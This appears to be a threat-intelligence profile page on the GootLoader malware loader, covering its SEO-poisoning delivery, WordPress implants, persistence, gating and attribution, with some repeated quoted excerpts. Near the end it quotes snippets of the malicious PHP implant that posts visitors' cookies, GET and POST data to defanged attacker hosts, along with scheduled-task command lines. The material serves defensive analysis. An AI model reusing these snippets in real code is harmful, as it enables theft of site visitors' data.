Loading malware…
GootLoader is a Windows-focused malware delivery framework and initial-access malware family closely associated with the GootKit ecosystem and historically linked to operators connected with REvil and later ransomware intrusion activity. It is best known for using SEO poisoning and compromised WordPress infrastructure to lure victims searching for legal, business, or other document-related content into downloading malicious ZIP archives that contain heavily obfuscated JScript payloads. More recent campaigns have also used paid search advertisements and gated landing pages while preserving the same core delivery pattern.
Once executed, the JScript payload establishes initial access and commonly deploys a second-stage script, launches PowerShell, and contacts attacker-controlled or compromised web infrastructure for follow-on instructions and payload retrieval. GootLoader has used persistence mechanisms including scheduled tasks, Registry autoruns, and more recently chains of shortcut files placed in user startup locations. Multiple reports describe a largely fileless execution chain in which later stages are stored in the Registry, decoded at startup, and injected or hollowed into benign processes to evade detection. The malware and its associated web implants also use gating logic based on factors such as referrer, geolocation, language, browser characteristics, and operating system to selectively expose malicious content while showing benign pages to researchers or non-targets.
GootLoader functions primarily as an access broker and downloader rather than as the final monetization payload. It has been used to deliver GootKit, Cobalt Strike, Kronos, and ransomware-related follow-on tooling, and infections frequently precede hands-on-keyboard post-exploitation and eventual ransomware deployment. Reporting also describes compromised WordPress sites containing malicious PHP implants that collect visitor metadata, redraw pages to resemble legitimate forums or document resources, and relay commands between attacker infrastructure and infected Windows hosts. The malware remains notable for persistent infrastructure rotation, obfuscation changes, anti-analysis delays, and delivery innovations designed to frustrate automated inspection and prolong campaign longevity.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
6 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
While the Lorem Ipsum and Gootloader chains are technically distinct, the shared reliance on compromised WordPress infrastructure suggests either common access broker sources, shared compromise tooling, or operator-level coordination between the two pipelines.
While the Lorem Ipsum and Gootloader chains are technically distinct, the shared reliance on compromised WordPress infrastructure suggests either common access broker sources, shared compromise tooling, or operator-level coordination between the two pipelines.
Rhysida actors, operating under the Vanilla Tempest cluster, have used Gootloader-based access that hands off to Supper before ransomware is deployed.
During the attack, Vanilla Tempest gained network access through the Storm-0494 threat actor, who infected the victim's systems with the Gootloader malware downloader.
GootLoader, a JavaScript-based malware loader, returned with new obfuscation techniques. It uses custom WOFF2 fonts and exploits WordPress comment sections to deliver malicious payloads.
GootLoader, a JavaScript-based malware loader, returned with new obfuscation techniques. It uses custom WOFF2 fonts and exploits WordPress comment sections to deliver malicious payloads.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Just like with the previous infection method, we are seeing Google Ads being used to target victims.
If you do meet their criteria, the page redraws into something that looks convincingly legitimate... Clicking any of these download links triggers the malicious zipped JScript payload.
Once the user clicks on the malicious advertisement from lawliner[.]com and lands on said page, they are presented with a button to “Get document” and are prompted to enter their email address. Shortly after they enter their email, they will receive an email from lawyer@skhm[.]org, with a link to their requested Word document (.docx).
Previously, Gootloader would set up a scheduled task to ensure the payload survived reboots.
We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.
Previously, Gootloader would set up a scheduled task to ensure the payload survived reboots.
We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.
I was able to identify the following PHP code that was injected in the legitimate WordPress file xmlrpc.php.
Previously, Gootloader would set up a scheduled task to ensure the payload survived reboots.
We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.
The actor modifies the ZIP archive in a way that confuses non-Windows tools... This simple evasion technique buys the actor time by hiding the true nature of the payload from automated analysis.
On Windows Explorer, the archive extracts a valid .JS file (the intended payload). But if opened with tools like VirusTotal, Python’s zip utilities, or 7-Zip, it unpacks as a harmless-looking .TXT file instead.
The content repeatedly describes malware and threat actors decoding, decrypting, deobfuscating, or unpacking payloads, strings, configuration data, commands, and C2 responses prior to execution or use.
If you don’t pass their filters (likely conditions include being in an English-speaking country, using Windows, coming from a search engine, and browsing during work hours), you’ll just see a harmless blog post... But if you do meet their criteria, the page redraws into something that looks convincingly legitimate.
The Gootloader masterminds have been embedding their malicious PHP code within the wp-config.php file of compromised WordPress installations. This file, crucial for WordPress configuration, often goes unnoticed during routine security checks, making it an ideal hiding spot for cybercriminals.
The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.
If you don’t pass their filters (likely conditions include being in an English-speaking country, using Windows, coming from a search engine, and browsing during work hours), you’ll just see a harmless blog post... But if you do meet their criteria, the page redraws into something that looks convincingly legitimate.
This information was found inside of an infected WordPress’ wp-config.php file (de-obfuscated to be readable for all)
It will then run PowerShell, and call out to 10 WordPress blogs (1-2 are actually compromised, the others are false positives).
curl_setopt( $ch , CURLOPT_URL, "https://luckyserver777[.]co[.]za/index.php" ); ... wp_remote_get( "http://new-game[.]me/index.php?a=" . base64_encode(...)
$d = array("i" => serialize($_SERVER["REMOTE_ADDR"]), "u" => serialize($_SERVER["HTTP_USER_AGENT"]), "h" => serialize($_SERVER["HTTP_HOST"]), "c" => serialize($_COOKIE), "g" => serialize($_GET), "p" => serialize($_POST)); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($d));
67 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
88 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Malware/loader used in SEO-poisoning campaigns via compromised WordPress sites and fake forum pages offering legal or business document templates; used to gain initial footholds that are then sold to ransomware operators.
Gootloader2
A loader used for initial access in Rhysida intrusions, handing off to Supper before ransomware deployment.
A distinct loader/initial access malware referenced for comparison because Rapid Brigantine intrusions have also involved Gootloader-delivered access.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.